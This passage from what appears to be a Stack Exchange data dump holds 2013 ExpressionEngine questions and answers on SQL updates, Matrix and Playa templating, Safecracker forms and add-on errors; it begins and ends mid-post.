word&quot; functionality button? I use that ALL the time and saves a lot of headaches. Works with getting rid of embedded styles in just about anything too, not just Microsoft Word related issues.&lt;/p&gt;&#xA;" OwnerUserId="11" LastEditorUserId="11" LastEditDate="2013-05-31T21:49:30.823" LastActivityDate="2013-05-31T21:49:30.823" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9918" PostTypeId="1" AcceptedAnswerId="9921" CreationDate="2013-04-30T21:53:23.813" Score="1" ViewCount="82" Body="&lt;p&gt;I am looking for a little guidance with a new ExpressionEngine project. I have a channel called adventures that contains a group of channel fields. I also have members that can signup and login to the website and eventually purchase these adventures (Which will be done with a plugin). I am looking for a way to allow a user to customize some of the channel fields inside an adventure and then display it only to that user. Each user would be able to create and customize their own adventure based on the generic version I have created.    &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The user to be able to customize these within a website form interface. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any guidance would be helpful and if I need to explore PHP over ExpressionEngine code to execute user specific channel field content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="1407" LastEditorUserId="1407" LastEditDate="2013-04-30T22:30:40.927" LastActivityDate="2013-04-30T23:48:53.940" Title="Custom channel content based on user" Tags="|members|channel|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9920" PostTypeId="1" AcceptedAnswerId="9923" CreationDate="2013-04-30T22:38:04.920" Score="1" ViewCount="85" Body="&lt;p&gt;I have a random group of about 40 entries in the same channel where I need to copy the &lt;code&gt;url_title&lt;/code&gt; from &lt;code&gt;exp_channel_titles&lt;/code&gt; over to the &lt;code&gt;uri&lt;/code&gt; column in &lt;code&gt;exp_structure_listings&lt;/code&gt;. If I wanted to copy the urls for all entries there'd be no problem, but I need to copy only the urls from this specific group of entry IDs. I tried:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;UPDATE &#xA;    exp_structure_listings s, exp_channel_titles t&#xA;SET &#xA;    s.uri = t.url_title&#xA;WHERE &#xA;   s.entry_id = t.entry_id&#xA;AND&#xA;   t.channel_id = '17'&#xA;AND (&#xA;      t.entry_id = '2128'&#xA;   OR t.entry_id = '2142'&#xA;   OR t.entry_id = '2171'&#xA;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But, not surprisingly, that didn't work. I feel like I should be using a join in here somewhere but I'm not really sure what the syntax should look like.&lt;/p&gt;&#xA;" OwnerUserId="5" LastActivityDate="2013-05-03T23:42:47.853" Title="MySQL: Update Rows Based on Specific Set of Entry IDs" Tags="|structure|mysql|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9921" PostTypeId="2" ParentId="9918" CreationDate="2013-04-30T23:48:53.940" Score="0" Body="&lt;p&gt;You can use Safecracker to allow a member to create / update / delete entries from your channels on the front end of your site. &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/safecracker/index.html&quot; rel=&quot;nofollow&quot;&gt;Guide is here&lt;/a&gt;, and a &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/safecracker/examples.html&quot; rel=&quot;nofollow&quot;&gt;few examples here&lt;/a&gt;. I don't know how much interaction you would need between the plugin you mentioned and safecracker, but I would do some really basic tests to get the feel of it.&lt;/p&gt;&#xA;" OwnerUserId="1326" LastActivityDate="2013-04-30T23:48:53.940" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9922" PostTypeId="2" ParentId="9898" CreationDate="2013-04-30T23:53:02.670" Score="0" Body="&lt;p&gt;You can add as many custom fields you want to per item you sell or you can add upto 9 custom order fields per order which can then in turn be mapped to custom member fields. There is nothing in Store that would allow you to use tho result of the custom field to prevent user access to subscription items before/after the date that you created. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yes you would need to either use PHP or a plugin to get the current date and calculate the date in the future. &lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2013-04-30T23:53:02.670" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9923" PostTypeId="2" ParentId="9920" CreationDate="2013-05-01T01:01:54.687" Score="1" Body="&lt;p&gt;You'd want to use the IN() function, so something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;UPDATE &#xA;    exp_structure_listings s &#xA;INNER JOIN &#xA;    exp_channel_titles t &#xA;ON &#xA;    s.entry_id = t.entry_id &#xA;SET &#xA;    s.uri = t.url_title &#xA;WHERE &#xA;    t.channel_id = '17' &#xA;AND &#xA;    t.entry_id &#xA;IN (&#xA;    2128, &#xA;    2142, &#xA;    2171&#xA;) &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm not certain if that statement would work exactly for you, since it seemed as if you had a JOIN in the WHERE clause, without specifying a join. But that should provide enough to fiddle with.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;IN()&lt;/code&gt; is best used when you have a known list of items. It's performance in subqueries can be slow, but it's very speedy with a known list. So you could do batches of 10 or the whole 40, if you liked.&lt;/p&gt;&#xA;" OwnerUserId="252" LastEditorUserId="5" LastEditDate="2013-05-03T23:42:47.853" LastActivityDate="2013-05-03T23:42:47.853" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9924" PostTypeId="1" AcceptedAnswerId="9926" CreationDate="2013-05-01T03:18:46.460" Score="2" ViewCount="745" Body="&lt;p&gt;This seems like it should be a piece of cake, but I'm at a loss.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a Matrix field called {the_matrix} which contains two columns {comment} and {image}.  And I'm attempting to output the number of images like so:  &lt;strong&gt;Total Images: 4&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The {total_rows} tag is not sufficient on its own because oftentimes there may be a {comment} and no {image}.  So essentially, I need to output the number of rows in which the {image} cell is not empty.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried several different things (including the snippets below) to output the number of rows that contain an {image}, but have had no luck.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{the_matrix}&#xA;    Total Images: {image}{total_rows}{/image}&#xA;{/the_matrix}&#xA;&#xA;&#xA;{the_matrix}&#xA;    Total Images: {image}{field_row_count}{/image}&#xA;{/the_matrix}&#xA;&#xA;&#xA;{the_matrix}&#xA;    Total Images: {image:total_rows}&#xA;{/the_matrix}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Am I missing something obvious or am I just out of luck?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="831" LastActivityDate="2013-05-01T07:58:52.817" Title="How to count Matrix rows that are not empty?" Tags="|templates|matrix|pixelandtonic|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9925" PostTypeId="2" ParentId="9924" CreationDate="2013-05-01T05:32:33.390" Score="0" Body="&lt;p&gt;You can try by using the Increment (&lt;a href=&quot;http://devot-ee.com/add-ons/increment&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/increment&lt;/a&gt;) plugin like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{the_matrix}&#xA;{if image}&#xA;{exp:pvl_increment id=&quot;image_count&quot; random}&#xA;{/if}&#xA;{/the_matrix}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and find the total number of images:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if {exp:pvl_increment id=&quot;image_count&quot; increment=&quot;no&quot; random} &amp;gt; 10}&#xA;[output]&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I hope, it would help you.&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-05-01T05:32:33.390" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9926" PostTypeId="2" ParentId="9924" CreationDate="2013-05-01T07:58:52.817" Score="4" Body="&lt;p&gt;Just attach a filter on the image column to check it isn't empty:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Total Images: {the_matrix:total_rows search:image=&quot;not IS_EMPTY&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-05-01T07:58:52.817" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9927" PostTypeId="2" ParentId="9912" CreationDate="2013-05-01T08:01:02.387" Score="1" Body="&lt;p&gt;No, orders need to be &lt;em&gt;submitted&lt;/em&gt; to the payment gateway and changing an order in the back-end wont make the submission. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cartthrob will allow you to do this as orders are just stored as a regular channel entry but be very careful because you don't want your orders getting out of sync with the actual payments that were made.&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-05-01T08:01:02.387" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9928" PostTypeId="2" ParentId="9897" CreationDate="2013-05-01T08:12:42.473" Score="1" Body="&lt;p&gt;You'd need to break it out into a regular conditional statement where the two search results are compared with the OR operator:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if '{matrixfield search:matrix_col_01=&quot;value_from_checkbox&quot;}' || '{matrixfield search:matrix_col_02=&quot;value_from_checkbox&quot;}'}&#xA;    {title}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-05-01T08:12:42.473" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9929" PostTypeId="1" CreationDate="2013-05-01T08:16:30.470" Score="0" ViewCount="1611" Body="&lt;p&gt;Good Morning Everyone,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;im sorry if this is duplicating my post on Ellislab forum, but I though id attack from all angles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Im new to EE and Cartthrob, however I have an issue after each attempt at installing Cartthrob.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE installs ok, however during the installation of templates and template store from the cartthrob I get an Internal Server Error, after a refrsh everything seems ok, however when i active the test store most of the pages produce the following error&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Error&#xA;Unable to load requested field type file:  ft.rel.php.&#xA;Confirm the fieldtype file is located in the expressionengine/third_party/ directory&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I spoke to CT, but they say this error relates to EE not CT.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any advise would be greatly appreciated&lt;/p&gt;&#xA;" OwnerUserId="1414" LastActivityDate="2013-12-13T16:27:24.447" Title="Unable to load requested field type file: ft.rel.php" Tags="|ee2|cartthrob|fieldtype|" AnswerCount="4" CommentCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="9930" PostTypeId="1" AcceptedAnswerId="9935" CreationDate="2013-05-01T09:17:52.477" Score="0" ViewCount="162" Body="&lt;p&gt;I'm using EE 2.5.5 and Assets 2.1.2&#xA;When I upload a file (PDF) to replace an older version I am getting the following error message:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Could not upload the file - server returned an unexpected response. &#xA;Please check the server settings. &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The file then does actually upload but the date and time do not change to show the change. I have tried updating the index but the date does not change. &lt;/p&gt;&#xA;" OwnerUserId="95" LastActivityDate="2013-05-01T12:34:31.240" Title="Assets date issue" Tags="|assets|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9931" PostTypeId="1" CreationDate="2013-05-01T09:53:38.910" Score="1" ViewCount="253" Body="&lt;p&gt;I'm trying to add/edit a channel entry using Safecracker but my checkboxes in the form aren't showing up in the CP when I check the entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas? The Field Pack extension is enabled, as is the field type. Here's the template code within Safecracker:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        {options:therapy-coursemethods}&#xA;        &amp;lt;label for=&quot;coursemethods-{option_value}&quot;&amp;gt;&amp;lt;input type=&quot;checkbox&quot; name=&quot;therapy-coursemethods[]&quot; value=&quot;{option_value}&quot; id=&quot;coursemethods-{option_value}&quot;&amp;gt; {option_name}&amp;lt;/label&amp;gt;&amp;lt;br&amp;gt;&#xA;        {/options:therapy-coursemethods}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here's the html:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        &amp;lt;label for=&quot;coursemethods-method1&quot;&amp;gt;&amp;lt;input type=&quot;checkbox&quot; name=&quot;therapy-coursemethods[]&quot; value=&quot;method1&quot; id=&quot;coursemethods-method1&quot;&amp;gt; Method 1&amp;lt;/label&amp;gt;&amp;lt;br&amp;gt;            &#xA;        &amp;lt;label for=&quot;coursemethods-method2&quot;&amp;gt;&amp;lt;input type=&quot;checkbox&quot; name=&quot;therapy-coursemethods[]&quot; value=&quot;method2&quot; id=&quot;coursemethods-method2&quot;&amp;gt; Method 2&amp;lt;/label&amp;gt;&amp;lt;br&amp;gt;            &#xA;        &amp;lt;label for=&quot;coursemethods-method3&quot;&amp;gt;&amp;lt;input type=&quot;checkbox&quot; name=&quot;therapy-coursemethods[]&quot; value=&quot;method3&quot; id=&quot;coursemethods-method3&quot;&amp;gt; Method 3&amp;lt;/label&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="986" LastActivityDate="2013-07-17T21:56:15.413" Title="P&amp;T Checkboxes not added to entry in Safecracker" Tags="|pixelandtonic|pt-checkboxes|field-pack|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9932" PostTypeId="1" CreationDate="2013-05-01T10:07:57.780" Score="1" ViewCount="90" Body="&lt;p&gt;Im basicly wondering if the following is possible and what addons i should use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Im planning to develop a site with around 10.000 users, im planning to use Zoo Vistor and import the user by datagrab.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each user can sign up for some kind of workshop. The user can get 3 kind of status (or group)&#xA;- Signed up&#xA;- Signed off&#xA;- Default status&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If i import the user i want to sent all user an email with their logindetails(or a setup for their password / reset password), this email needs to be personalised(containign username and some member fields).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other than that i should be able to email each group(combine EE communcation module with Zoo?)  a personalised mail containing a message  like &quot;Hello User, you haven't signed up yet, please sign up here&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone advise me by using what modules  / ee setup?&lt;/p&gt;&#xA;" OwnerUserId="1415" LastActivityDate="2013-05-01T10:07:57.780" Title="Import users / sent personal email" Tags="|email|zoo-visitor|datagrab|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9933" PostTypeId="2" ParentId="9931" CreationDate="2013-05-01T11:43:33.383" Score="1" Body="&lt;p&gt;Ensure that you include the &lt;code&gt;preserve_checkboxes=&quot;yes&quot;&lt;/code&gt; parameter in your Safecracker form. More info can be found &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/safecracker/#preserve-checkboxes&quot; rel=&quot;nofollow&quot;&gt;here in the docs&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;HTML checkboxes have an interesting quirk in that if they are not checked they are not sent in the form POST submission. Safecracker therefore can't distinguish between an unchecked checkbox and an omission in the form submission.&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-05-01T11:43:33.383" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9935" PostTypeId="2" ParentId="9930" CreationDate="2013-05-01T12:34:31.240" Score="1" Body="&lt;p&gt;can you check the developer console of the browser and see what the server is returning for the last Ajax request?&lt;/p&gt;&#xA;" OwnerUserId="722" LastActivityDate="2013-05-01T12:34:31.240" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="9936" PostTypeId="1" CreationDate="2013-05-01T13:04:30.917" Score="2" ViewCount="307" Body="&lt;p&gt;I am using EE 2.5.2 and Free Member 2.2.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using the example code and error_handling isn't working for me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I missing?&lt;/p&gt;&#xA;" OwnerUserId="1280" LastActivityDate="2013-05-31T14:32:07.727" Title="Free Member Inline Errors not working for freemember:update_profile" Tags="|freemember|expresso|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9937" PostTypeId="2" ParentId="9936" CreationDate="2013-05-01T13:48:55.847" Score="1" Body="&lt;p&gt;You don't make any mention of how you're using FreeMember or how it isn't working for you so I'll take it on the basis that it's for a standard registration form where errors are not showing for required fields. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this case you need to specify both the error handling and required parameters in the FreeMember tag like this along with any specific rules for each field like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:freemember:register&#xA;    require=&quot;first_name|last_name&quot;&#xA;    rules:first_name=&quot;required|min_length[5]&quot;&#xA;    error_handling=&quot;inline&quot;&#xA;}&#xA;&#xA;    fields here...&#xA;&#xA;{/exp:freemember:register}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Include all the fields you wish to be mandatory in the &lt;code&gt;require&lt;/code&gt; parameter separated by a pipe character. In this case I'm specifying inline error handling (errors to appear in line with the form fields).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then upon submission if those requirements and rules aren't met by the field values then the errors will be triggered.&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-05-01T13:48:55.847" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9938" PostTypeId="1" AcceptedAnswerId="9940" CreationDate="2013-05-01T14:22:24.717" Score="0" ViewCount="606" Body="&lt;p&gt;I tried commenting on &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/9426/error-playas-var-prefix-parameter&quot;&gt;this thread&lt;/a&gt;, but it's closed. I am having a similar issue - the deprecated &lt;code&gt;{parent:field}&lt;/code&gt; is working, but I'm sure won't forever. I'd like to switch to using the &lt;code&gt;var_prefix&lt;/code&gt;, but I can't find where that is set.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried using the channel name &lt;code&gt;{channel:field}&lt;/code&gt; - just not sure what &lt;code&gt;var_prefix&lt;/code&gt; is in reference to.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;products&quot;}&#xA;    {accessories url_title=&quot;{segment_4}&quot; limit=&quot;1&quot;}&#xA;        {parent:title} product title&#xA;    {/accessories}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The accessory is a child and accessories is the field name in the products field group.&lt;/p&gt;&#xA;" OwnerUserId="373" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2013-05-01T15:22:55.100" Title="Where does the var_prefix come from in Playa?" Tags="|add-on|playa|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9940" PostTypeId="2" ParentId="9938" CreationDate="2013-05-01T14:39:10.993" Score="1" Body="&lt;p&gt;The var_prefix tag is a parameter available to any of the &lt;a href=&quot;http://docs.pixelandtonic.com/playa/templating/module/index.html&quot; rel=&quot;nofollow&quot;&gt;Playa module tags&lt;/a&gt;. It tells Playa to only parse variables that have a certain prefix. This is handy when you’re dealing with variable name conflicts, such as if you’re pulling in an entry with its own Playa tag:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:playa:children channel=&quot;news&quot; var_prefix=&quot;news&quot;}&#xA;    {news:exp:playa:children channel=&quot;editors&quot; var_prefix=&quot;editor&quot;}&#xA;        {news:title} - {editor:title}&#xA;    {/news:exp:playa:children}&#xA;{/exp:playa:children}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-05-01T14:39:10.993" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9941" PostTypeId="2" ParentId="9822" CreationDate="2013-05-01T14:54:19.953" Score="1" Body="&lt;p&gt;&lt;strong&gt;By golly, I've got it!&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks to everyone for your help! Like I said, relationships are crazy-hard to wrap your head around and I couldn't have figured it out without your help. The answer turned out to be &lt;strong&gt;Co-Parents&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the final answer to my question...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{standard_page_events var_prefix=&quot;cat&quot;}&#xA;    &amp;lt;h4&amp;gt;{cat:title}&amp;lt;/h4&amp;gt;&#xA;    {exp:playa:coparents var_prefix=&quot;event&quot; channel=&quot;events&quot; child_id=&quot;{cat:entry_id}&quot;}&#xA;        {event:title}&amp;lt;br&amp;gt;&#xA;    {/exp:playa:coparents}&#xA;{/standard_page_events}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This article really pushed me in the right direction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://pixelandtonic.com/blog/playa-coparents&quot; rel=&quot;nofollow&quot;&gt;http://pixelandtonic.com/blog/playa-coparents&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="659" LastActivityDate="2013-05-01T14:54:19.953" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9942" PostTypeId="1" CreationDate="2013-05-01T14:54:39.647" Score="1" ViewCount="203" Body="&lt;p&gt;I have created a channel called user_entries, and some channel fields for name, description and file! These fields are created to be populated by a safecracker frontend form. This would allow users to submit 8 entries to the site with status pending(already created). Also to allow free uploads for users in the frontend, I have created a user called anonymous and assigned it to the Guest group. I have allowed this group to post to the channel user_entries from frontend using said safecracker form. The status needs to be pending so that the admin can change status to Open in backend, so as to filter out any entries that do not comply with the spirit of the website!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, everything works perfectly apart from the files. The images are being uploaded to the directory that I have created inside {site_url}/images/uploads/entries. The folder is created and the correct path specified in the CP. Can anyone tell me what I'm doing wrong?&#xA;Here is the code for the safecracker form:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   &amp;lt;!--============SAFECRACKER STUFF GOES RIGHT HERE=============--&amp;gt;&#xA;{exp:safecracker channel=&quot;user_entries&quot; return=&quot;entries/confirmation&quot; &#xA;include_jquery=&quot;no&quot; error_handling=&quot;inline&quot;&#xA;logged_out_member_id=&quot;2&quot;//this is the ID for user anonymous&#xA;rules:your_name=&quot;required&quot;&#xA;rules:choice_number_1=&quot;required&quot;&#xA;rules:choice_number_2=&quot;required&quot;&#xA;rules:choice_number_3=&quot;required&quot;&#xA;rules:choice_number_4=&quot;required&quot;&#xA;rules:choice_number_5=&quot;required&quot;&#xA;rules:choice_number_6=&quot;required&quot;&#xA;rules:choice_number_7=&quot;required&quot;&#xA;rules:choice_number_8=&quot;required&quot;&#xA;rules:title=&quot;required&quot;&#xA;dynamic=&quot;no&quot;&#xA;}&#xA;&amp;lt;br class=&quot;clearfix&quot; /&amp;gt;&#xA;            &amp;lt;hr /&amp;gt;&#xA;&#xA;&amp;lt;h5 class=&quot;feature&quot;&amp;gt;Some housekeeping!&amp;lt;/h5&amp;gt;&#xA;&amp;lt;br class=&quot;clearfix&quot; /&amp;gt;&#xA;            &amp;lt;hr /&amp;gt;&#xA;&amp;lt;h2 class=&quot;feature&quot;&amp;gt;&#xA;    &amp;lt;label&amp;gt;&amp;lt;strong&amp;gt;First please tell us your name&amp;lt;/strong&amp;gt;&amp;lt;/label&amp;gt;&#xA;    &amp;lt;input type=&quot;text&quot; class=&quot;text&quot; name=&quot;your_name&quot; value=&quot;{your_name}&quot;/&amp;gt;&#xA;    &amp;lt;label&amp;gt;&amp;lt;strong&amp;gt;Give your post a memorable name&amp;lt;/strong&amp;gt;&amp;lt;/label&amp;gt;&#xA;    &amp;lt;input type=&quot;text&quot; class=&quot;text&quot; name=&quot;title&quot; value=&quot;{title}&quot;/&amp;gt;&#xA;  &amp;lt;/h2&amp;gt;&#xA; &amp;lt;br class=&quot;clearfix&quot; /&amp;gt;&#xA;            &amp;lt;hr /&amp;gt;&#xA;&amp;lt;h2 class=&quot;feature&quot;&amp;gt;&#xA;    Now make your choices!&#xA;  &amp;lt;/h2&amp;gt;&#xA;&#xA;&amp;lt;fieldset class=&quot;five columns alpha aside&quot;&amp;gt;&#xA;&#xA;  &amp;lt;!--Choice one code--&amp;gt;&#xA;  &amp;lt;h5&amp;gt;&#xA;    &amp;lt;label&amp;gt;&amp;lt;strong&amp;gt;Choice number 1&amp;lt;/strong&amp;gt;&amp;lt;/label&amp;gt;&#xA;    &amp;lt;input type=&quot;text&quot; class=&quot;text&quot; name=&quot;choice_number_1&quot;/&amp;gt;&#xA;  &amp;lt;/h5&amp;gt;&#xA;  &amp;lt;p&amp;gt;&#xA;    &amp;lt;label&amp;gt;Choice 1 description&amp;lt;/label&amp;gt;&#xA;    &amp;lt;input type=&quot;text&quot; class=&quot;text&quot; name=&quot;choice_1_description&quot;/&amp;gt;&#xA;  &amp;lt;/p&amp;gt;&#xA;&amp;lt;br /&amp;gt;&#xA;    &amp;lt;label&amp;gt;Choice 1 image&amp;lt;/label&amp;gt;&#xA;    &amp;lt;input type=&quot;file&quot; class=&quot;&quot; name=&quot;choice_1_image&quot; value=&quot;{choice_1_image}&quot;/&amp;gt; &#xA;&amp;lt;/fieldset&amp;gt;&#xA;&#xA;&#xA;&amp;lt;!--====Choice twocode--&amp;gt;&#xA;&amp;lt;fieldset class=&quot;five columns omega aside&quot;&amp;gt;&#xA;  &amp;lt;h5&amp;gt;&#xA;    &amp;lt;label&amp;gt;&amp;lt;strong&amp;gt;Choice number 2&amp;lt;/strong&amp;gt;&amp;lt;/label&amp;gt;&#xA;    &amp;lt;input type=&quot;text&quot; class=&quot;text&quot; name=&quot;choice_number_2&quot;/&amp;gt;&#xA;  &amp;lt;/h5&amp;gt;&#xA;  &amp;lt;p&amp;gt;&#xA;    &amp;lt;label&amp;gt;Choice 2 description&amp;lt;/label&amp;gt;&#xA;    &amp;lt;input type=&quot;text&quot; class=&quot;text&quot; name=&quot;choice_2_description&quot;/&amp;gt;&#xA;  &amp;lt;/p&amp;gt;&#xA;  &amp;lt;br /&amp;gt;&#xA;    &amp;lt;label&amp;gt;Choice 2 image&amp;lt;/label&amp;gt;&#xA;    &amp;lt;input type=&quot;file&quot; class=&quot;&quot; name=&quot;choice_2_image&quot;/&amp;gt;&#xA;&#xA;  &amp;lt;/fieldset&amp;gt;&#xA;&#xA;&#xA;&#xA;&amp;lt;!--===============Choice three code--&amp;gt;&#xA;&amp;lt;fieldset class=&quot;five columns alpha aside&quot;&amp;gt;&#xA;&#xA;&amp;lt;h5&amp;gt;&#xA;    &amp;lt;label&amp;gt;&amp;lt;strong&amp;gt;Choice number 3&amp;lt;/strong&amp;gt;&amp;lt;/label&amp;gt;&#xA;    &amp;lt;input type=&quot;text&quot; class=&quot;text&quot; name=&quot;choice_number_3&quot;/&amp;gt;&#xA;  &amp;lt;/h5&amp;gt;&#xA;  &amp;lt;p&amp;gt;&#xA;    &amp;lt;label&amp;gt;Choice 3 description&amp;lt;/label&amp;gt;&#xA;    &amp;lt;input type=&quot;text&quot; class=&quot;text&quot; name=&quot;choice_3_description&quot;/&amp;gt;&#xA;  &amp;lt;/p&amp;gt;&#xA;&amp;lt;br /&amp;gt;&#xA;    &amp;lt;label&amp;gt;Choice 3 image&amp;lt;/label&amp;gt;&#xA;    &amp;lt;input type=&quot;file&quot; class=&quot;&quot; name=&quot;choice_3_image&quot;/&amp;gt;&#xA;&#xA;&amp;lt;/fieldset&amp;gt;&#xA;&#xA;&#xA;&amp;lt;!--====Choice four code--&amp;gt;&#xA;&amp;lt;fieldset class=&quot;five columns omega aside&quot;&amp;gt;&#xA;  &amp;lt;h5&amp;gt;&#xA;    &amp;lt;label&amp;gt;&amp;lt;strong&amp;gt;Choice number 4&amp;lt;/strong&amp;gt;&amp;lt;/label&amp;gt;&#xA;    &amp;lt;input type=&quot;text&quot; class=&quot;text&quot; name=&quot;choice_number_4&quot;/&amp;gt;&#xA;  &amp;lt;/h5&amp;gt;&#xA;  &amp;lt;p&amp;gt;&#xA;    &amp;lt;label&amp;gt;Choice 4 description&amp;lt;/label&amp;gt;&#xA;    &amp;lt;input type=&quot;text&quot; class=&quot;text&quot; name=&quot;choice_4_description&quot;/&amp;gt;&#xA;  &amp;lt;/p&amp;gt;&#xA;&amp;lt;br /&amp;gt;&#xA;    &amp;lt;label&amp;gt;Choice 4 image&amp;lt;/label&amp;gt;&#xA;    &amp;lt;input type=&quot;file&quot; class=&quot;&quot; name=&quot;choice_4_image&quot;/&amp;gt;  &#xA;  &amp;lt;/fieldset&amp;gt;&#xA;&#xA;&#xA;&#xA;&amp;lt;!--===============Choice five code--&amp;gt;&#xA;&amp;lt;fieldset class=&quot;five columns alpha aside&quot;&amp;gt;&#xA;&#xA;&amp;lt;h5&amp;gt;&#xA;    &amp;lt;label&amp;gt;&amp;lt;strong&amp;gt;Choice number 5&amp;lt;/strong&amp;gt;&amp;lt;/label&amp;gt;&#xA;    &amp;lt;input type=&quot;text&quot; 